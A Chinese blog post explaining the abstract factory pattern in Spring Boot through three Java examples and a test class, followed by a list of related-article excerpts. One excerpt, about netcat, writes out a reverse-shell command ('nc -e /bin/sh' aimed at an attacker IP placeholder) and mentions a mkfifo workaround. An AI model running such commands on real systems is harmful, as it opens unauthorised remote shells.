基于SpringBoot设计模式之创建型设计模式·抽象工厂模式

news2024/11/23 1:00:42

文章目录

  • 介绍
  • 开始
    • 架构图(以穿搭举例)
    • 样例一(html关于列表和表格的应用)
      • 定义抽象工厂(html)
      • 定义抽象工厂需要制作抽象产物(托盘)
      • 定义具体工厂(列表、表格)
      • 定义工厂生产零件(托盘)
    • 样例二(衣服关于春季和夏季的穿搭)
      • 定义抽象工厂(穿搭)
      • 定义抽象工厂需要制作抽象产物(上衣、下装)
      • 定义具体工厂(春季、夏季)
      • 定义工厂生产零件(上衣、下装)
    • 样例三(工厂关于小米和华为的生产)
      • 定义抽象工厂(制造工厂)
      • 定义抽象工厂需要制作抽象产物(手机、路由器)
      • 定义具体工厂(小米工厂、华为工厂)
      • 定义工厂生产零件(手机、路由器)
    • 测试样例
  • 总结

介绍

  在抽象工厂模式中,不仅有抽象工厂,还有抽象零件抽象产品。其中抽象工厂主要的工作职责将抽象零件组装成抽象产品
  第一大段,这么多抽象,抽象的含义到底是啥?它指:不考虑具体怎样实现,而是仅关注接口(API)的状态
  综上所诉:在 Abstract Factory 模式中将会出现抽象工厂,它会将抽象零件组装为抽象产品。也就是说,
  我们并不关心零件的具体实现,而是只关心接口(API)。我们仅使用该接口(API)将零件组装成为产品

开始

架构图(以穿搭举例)

  抽象工厂作为主接口,不具备任何含义,只记录有上衣和下装。在季节工厂里面(也可以叫做季节产品),他们生产了一系列相应季节的上衣和下装。但对上衣和下装同时是比较抽象的,需要对上衣和下装(也可以叫做零件)赋予真正的含义,如:在上衣中有短袖、衬衫;在下装中,有牛仔裤和短裤。
  通过具体的零件,才有了品牌打出了季节产品,最后统称抽象为上衣、下装。
抽象工厂下面的工厂作为抽象产品
抽象产品制作抽象零件

样例一(html关于列表和表格的应用)

定义抽象工厂(html)

public interface HtmlFactory {

    /**
     * 创建一个抽象托盘
     *
     * @return
     */
    TrayService createTray();

}

定义抽象工厂需要制作抽象产物(托盘)

  为什么要单独定义一个item接口,是因为对于html代码,我们的产物有<a>标签<b>标签等,最后都是需要一个html的模板所以,定义了一个item接口,让后续的抽象产物继承。

public interface Item {

    /**
     * 生成 html 代码
     */
    String makeHTML();

}
public interface TrayService extends Item {

}

定义具体工厂(列表、表格)

@Service
@Slf4j
public class ListHtmlFactory implements HtmlFactory {

    @Resource(name = "listTrayServiceImpl")
    private TrayService trayService;

    @Override
    public TrayService createTray() {
        return trayService;
    }

}
@Service
@Slf4j
public class TableHtmlFactory implements HtmlFactory {

    @Resource(name = "tableTrayServiceImpl")
    private TrayService trayService;

    @Override
    public TrayService createTray() {
        return trayService;
    }

}

定义工厂生产零件(托盘)

@Service
@Slf4j
public class ListTrayServiceImpl implements TrayService {

    @Override
    public String makeHTML() {
        return "<ul>\n" +
                "  <li>咖啡</li>\n" +
                "  <li>茶</li>\n" +
                "  <li>牛奶</li>\n" +
                "</ul>";
    }

}
@Service
@Slf4j
public class TableTrayServiceImpl implements TrayService {
    @Override
    public String makeHTML() {
        return "<table>\n" +
                "  <tr>\n" +
                "    <th>月份</th>\n" +
                "    <th>储蓄</th>\n" +
                "  </tr>\n" +
                "  <tr>\n" +
                "    <td>一月</td>\n" +
                "    <td>¥3400</td>\n" +
                "  </tr>\n" +
                "  <tr>\n" +
                "    <td>二月</td>\n" +
                "    <td>¥4500</td>\n" +
                "  </tr>\n" +
                "</table>";
    }
}

样例二(衣服关于春季和夏季的穿搭)

定义抽象工厂(穿搭)

public interface WearFactory {

    /**
     * 创建一个 衣服
     *
     * @return
     */
    ClothesService createClothe();

    /**
     * 创建一个 裤子
     *
     * @return
     */
    TrousersService createTrouser();


}

定义抽象工厂需要制作抽象产物(上衣、下装)

public interface ClothesService {

    /**
     * 短袖
     */
    void shortSleeve();

    /**
     * 衬衫
     */
    void shirt();

}

public interface TrousersService {

    /**
     * 牛仔裤
     */
    void jeans();

    /**
     * 短裤
     */
    void shorts();


}

定义具体工厂(春季、夏季)

@Service
@Slf4j
public class SpringWearFactory implements WearFactory {

    @Resource(name = "springClothesServiceImpl")
    private ClothesService clothesService;

    @Resource(name = "springTrousersServiceImpl")
    private TrousersService trousersService;

    @Override
    public ClothesService createClothe() {
        return clothesService;
    }

    @Override
    public TrousersService createTrouser() {
        return trousersService;
    }
}

@Service
@Slf4j
public class SummerWearFactory implements WearFactory {

    @Resource(name = "summerClothesServiceImpl")
    private ClothesService clothesService;

    @Resource(name = "summerTrousersServiceImpl")
    private TrousersService trousersService;

    @Override
    public ClothesService createClothe() {
        return clothesService;
    }

    @Override
    public TrousersService createTrouser() {
        return trousersService;
    }

}

定义工厂生产零件(上衣、下装)

@Service
@Slf4j
public class SpringClothesServiceImpl implements ClothesService {

    @Override
    public void shortSleeve() {
        System.out.println("制作了---春季款---短袖");
    }

    @Override
    public void shirt() {
        System.out.println("制作了---春季款---衬衫");
    }
}

@Service
@Slf4j
public class SpringTrousersServiceImpl implements TrousersService {

    @Override
    public void jeans() {
        System.out.println("制作了---春季款---牛仔裤");
    }

    @Override
    public void shorts() {
        System.out.println("制作了---春季款---短裤");
    }

}

@Service
@Slf4j
public class SummerClothesServiceImpl implements ClothesService {
    
    @Override
    public void shortSleeve() {
        System.out.println("制作了---夏季款---短袖");
    }

    @Override
    public void shirt() {
        System.out.println("制作了---夏季款---衬衫");
    }
    
    
}

@Service
@Slf4j
public class SummerTrousersServiceImpl implements TrousersService {

    @Override
    public void jeans() {
        System.out.println("制作了---夏季款---牛仔裤");
    }

    @Override
    public void shorts() {
        System.out.println("制作了---夏季款---短裤");
    }
    
}

样例三(工厂关于小米和华为的生产)

定义抽象工厂(制造工厂)

public interface ProductFactory {

    /**
     * 创建一个抽象手机
     *
     * @return
     */
    PhoneService createPhone();

    /**
     * 创建一个抽象路由器
     *
     * @return
     */
    RouterService createRouter();

}

定义抽象工厂需要制作抽象产物(手机、路由器)

public interface PhoneService {


    /**
     * 开机
     */
    void power();

    /**
     * 关机
     */
    void shutdown();

    /**
     * 打电话
     */
    void call();


}

public interface RouterService {

    /**
     * 开机
     */
    void power();

    /**
     * 关机
     */
    void shutdown();

    /**
     * 路由器 设置
     */
    void setting();


}

定义具体工厂(小米工厂、华为工厂)

@Service
@Slf4j
public class XiaomiProductFactory implements ProductFactory {

    @Resource(name = "xiaomiPhoneServiceImpl")
    private PhoneService phoneService;

    @Resource(name = "xiaomiRouterServiceImpl")
    private RouterService routerService;

    @Override
    public PhoneService createPhone() {
        return phoneService;
    }

    @Override
    public RouterService createRouter() {
        return routerService;
    }

}

@Service
@Slf4j
public class HuaweiProductFactory implements ProductFactory {

    @Resource(name = "huaweiPhoneServiceImpl")
    private PhoneService phoneService;

    @Resource(name = "huaweiRouterServiceImpl")
    private RouterService routerService;

    @Override
    public PhoneService createPhone() {
        return phoneService;
    }

    @Override
    public RouterService createRouter() {
        return routerService;
    }

}

定义工厂生产零件(手机、路由器)

@Service
@Slf4j
public class XiaomiPhoneServiceImpl implements PhoneService {
    @Override
    public void power() {
        System.out.println("小米手机开机");
    }

    @Override
    public void shutdown() {
        System.out.println("小米手机关机");
    }

    @Override
    public void call() {
        System.out.println("小米手机打电话");
    }
}

@Service
@Slf4j
public class XiaomiRouterServiceImpl implements RouterService {
    @Override
    public void power() {
        System.out.println("小米路由器开机");
    }

    @Override
    public void shutdown() {
        System.out.println("小米路由器关机");
    }

    @Override
    public void setting() {
        System.out.println("小米路由器开始设置wifi");
    }
}

@Service
@Slf4j
public class HuaweiPhoneServiceImpl implements PhoneService {

    @Override
    public void power() {
        System.out.println("华为手机开机");
    }

    @Override
    public void shutdown() {
        System.out.println("华为手机关机");
    }

    @Override
    public void call() {
        System.out.println("华为手机打电话");
    }
}

@Service
@Slf4j
public class HuaweiRouterServiceImpl implements RouterService {
    @Override
    public void power() {
        System.out.println("华为路由器开机");
    }

    @Override
    public void shutdown() {
        System.out.println("华为路由器关机");
    }

    @Override
    public void setting() {
        System.out.println("华为路由器开始设置wifi");
    }

}

测试样例

@Slf4j
@SpringBootTest(classes = AbstractFactoryApplication.class)
public class TestAbstractFactory {

    @Resource
    private Map<String, HtmlFactory> htmlFactoryMap;

    @Resource
    private Map<String, ProductFactory> productFactoryMap;

    @Resource
    private Map<String, WearFactory> wearFactoryMap;


    @Test
    public void testPage() {
        for (Map.Entry<String, HtmlFactory> map : htmlFactoryMap.entrySet()) {
            log.info("这是 : {} 工厂", map.getKey());
            System.out.println(map.getValue().createTray().makeHTML());
        }
    }

    @Test
    public void testProduct() {
        for (Map.Entry<String, ProductFactory> map : productFactoryMap.entrySet()) {
            log.info("这是 : {} 工厂", map.getKey());
            ProductFactory value = map.getValue();
            PhoneService phone = value.createPhone();
            RouterService router = value.createRouter();
            log.info("phone begin");
            phone.power();phone.call();phone.shutdown();
            log.info("router begin");
            router.power();router.setting();router.shutdown();
        }
    }

    @Test
    public void testWear() {
        for (Map.Entry<String, WearFactory> map : wearFactoryMap.entrySet()) {
            log.info("这是 : {} 工厂", map.getKey());
            WearFactory value = map.getValue();
            ClothesService clothe = value.createClothe();
            TrousersService trouser = value.createTrouser();
            log.info("clothe begin");
            clothe.shortSleeve();clothe.shirt();
            log.info("trouser begin");
            trouser.jeans();trouser.shorts();
        }
    }


}

总结

  如果现在要建立一个工厂是非常容易能创建的,但如果要增加新的零件每个工厂都要实现零件制作方法,因此非常麻烦。
  一句话表述:易于增加具体的工厂,难以增加新的零件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1672566.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mamba:4 魔幻矩阵A

若在阅读过程中有些知识点存在盲区&#xff0c;可以回到如何优雅的谈论大模型重新阅读。另外斯坦福2024人工智能报告解读为通识性读物。若对于如果构建生成级别的AI架构则可以关注AI架构设计。技术宅麻烦死磕LLM背后的基础模型。 ​Mamba自从出道就一直被拿来和Transformer对比…

HIVE卡口流量需求分析

HIVE卡口流量需求分析 目录 HIVE卡口流量需求分析 1.创建表格 插入数据 2.需求 3.总结&#xff1a; 1.创建表格 插入数据 CREATE TABLE learn3.veh_pass( id STRING COMMENT "卡口编号", pass_time STRING COMMENT "进过时间", pass_num int COMMENT …

懒人网址导航源码v3.9

测试环境 宝塔Nginx -Tengine2.2.3的PHP5.6 MySQL5.6.44 为防止调试错误&#xff0c;建议使用测试环境运行的php与mysql版本 首先用phpMyAdmin导入数据库文件db/db.sql 如果导入不行&#xff0c;请直接复制数据库内容运行sql语句也可以 再修改config.php来进行数据库配置…

AI智能体|我把Kimi接入了个人微信

大家好&#xff0c;我是无界生长。 最近加入AI学习交流群的小伙伴越来越多&#xff0c;我打算在微信群接入一个聊天机器人&#xff0c;让它协助管理微信群&#xff0c;同时也帮忙给群友解答一些问题。普通的群聊机器人肯定是不能满足需求的&#xff0c;得上AI大模型&#xff0c…

EPS软件标注点坐标值

1、如下&#xff0c;点击右侧&#xff08;尺寸标注&#xff09;按钮&#xff1a; 2、弹出一个对话框&#xff0c;如下&#xff1a; 3、在上图对话框中设置好箭头样式和小数位数&#xff0c;然后点击图上一点&#xff0c;右击结束再鼠标指定位置&#xff0c;如下&#xff1a; 如…

同城预约上门服务家政小程序

基于Thinkphp和原生微信小程序开发的一款同城预约、上门服务、到店核销家政系统&#xff0c;用户端、服务端、门店端各端相互依赖又相互独立&#xff0c;支持选择项目、选择服务人员、选择门店多种下单方式&#xff0c;支持上门服务和到店核销两种服务方式&#xff0c;支持自营…

树莓派|连接CSI接口摄像头+opencv

CSI&#xff08;Camera Serial Interface&#xff09;接口摄像头是一种常见的嵌入式系统或移动设备中使用的摄像头接口。它通常用于与处理器或图像传感器进行直接连接&#xff0c;实现高速的图像数据传输。 CSI接口摄像头具有以下特点&#xff1a; 高速传输&#xff1a;CSI接口…

仓库管理流程详解(附作业流程图)

仓库管理流程在企业的日常运营中至关重要。它不仅是物资流转的核心环节&#xff0c;更关乎着企业的运营效率、成本控制和客户服务水平。一个高效、规范的仓库管理流程能够确保货物从入库到出库的各个环节有序进行&#xff0c;减少资源浪费和时间成本&#xff0c;同时帮助企业实…

pdf怎么标注红色方框?五种PDF标注红色方框方法

pdf怎么标注红色方框&#xff1f;在当今数字化时代&#xff0c;PDF文档已成为我们日常工作和学习中不可或缺的一部分。然而&#xff0c;如何在海量的PDF文件中快速、准确地标注出重要信息&#xff0c;让内容更加醒目呢&#xff1f;今天&#xff0c;我将向大家介绍五种PDF标注红…

锁和MVCC如何实现mysql的隔离级别

概述 MVCC解决读的隔离性&#xff0c;加锁解决写的隔离性。 读未提交 读未提交&#xff0c;更新数据大概率使用的是独享锁吧。 读已提交 在 Read Committed&#xff08;读已提交&#xff09;隔离级别下&#xff0c;每次执行读操作时都会生成一个新的 read view。这是因为在读…

【数据结构】-- 相交链表-环形链表

交叉链表 . - 力扣&#xff08;LeetCode&#xff09; 如果链表的两条链的长度一样&#xff0c;链表两端对齐&#xff0c;解决这个问题将会变得非常简单&#xff0c;直接分别遍历两个链表&#xff0c;想等时的节点即为所求。我们想办法让链表对齐--分别从a和b遍历链表&#xff…

VRRP虚拟路由器冗余协议

VRRP概述 VRRP是什么 VRRP&#xff1a;虚拟路由器冗余协议过把几台路由设备联合组成一台虚拟的路由设备&#xff0c;将虚拟路由设备的IP地址作为用户的默认网关实现与外部网络通信当网关设备发生故障时&#xff0c;VRRP能够选举新的网关设备承担数据流量&#xff0c;从而保障…

2024年最新青龙面板跑脚本教程(一)持续更新中

文章目录 步骤 1: 安装青龙面板步骤 2: 访问青龙面板步骤 3: 上传或创建JavaScript脚本步骤 4: 添加定时任务步骤 5: 查看日志示例脚本步骤 6: 管理依赖和环境变量通用依赖如下&#xff0c;可手动增加。 要在青龙面板上运行JavaScript脚本&#xff0c;首先需要确保你已经成功安…

QCC---Aptx Lossless验证

因为aptx Lossless属于高通骁龙声音的一部分&#xff0c;一般支持高通骁龙声音的设备会支持到&#xff0c;比如说手机&#xff0c;而且还要支持最新的aptx adaptive协议R2.2版本。但是如果手上没有这样的手机的话&#xff0c;有source芯片也可以去做测试验证。在最新的784.1版本…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

重发布与路由决策

单点重发布 将A协议--->B协议 [r2-rip-1]import-route ospf 1 将静态---->B协议 [r2-rip-1]import-route static 将直连---->B协议 [r2-rip-1]import-route direct 双点重发布 路由回馈&#xff1a;指的是从某协议传出的路由信息又被传回该协议中。可以引起选路…

景源畅信:小白如何做抖音电商怎么样?

在数字浪潮中崛起的抖音电商&#xff0c;以其独特的平台优势吸引了众多创业者的目光。特别是对于初入电商领域的“小白”来说&#xff0c;如何在这个全新的领域站稳脚跟&#xff0c;成为他们迫切需要解答的问题。接下来&#xff0c;我们将深入探讨小白如何在抖音电商中开辟属于…

java+B/S架构医院绩效考核管理系统maven+Visual Studio Code+avue医院绩效管理系统4大特点

javaB/S架构医院绩效考核管理系统源码mavenVisual Studio Codeavue医院绩效管理系统4大特点 医院绩效考核管理系统&#xff0c;采用多维度综合绩效考核的形式&#xff0c;针对院内实际情况分别对工作量、KPI指标、科研、教学、管理等进行全面考核。医院可结合实际需求&#xff…

uniapp 安卓证书导出成cer文件 查看公钥

// your_alias 换成 证书详情中的别名&#xff0c;your_keystore.keystore 改成自己的证书文件名 keytool -export -alias your_alias -file certificate.cer -keystore your_keystore.keystore双击生成的cer文件 可以查看到证书的详细信息 其中就包括证书的公钥

Python Socket

一、服务端 from socket import *def print_hi(name):print(fHi, {name})# 允许所有ip连接IP 0.0.0.0# 端口PORT 8003# 定义一次从socket缓冲区读入512个字节数据BUFFER_LEN 1024# 实例化socket对象 listenSocket 用来监听的socketlistenSocket socket(AF_INET, SOCK_STRE…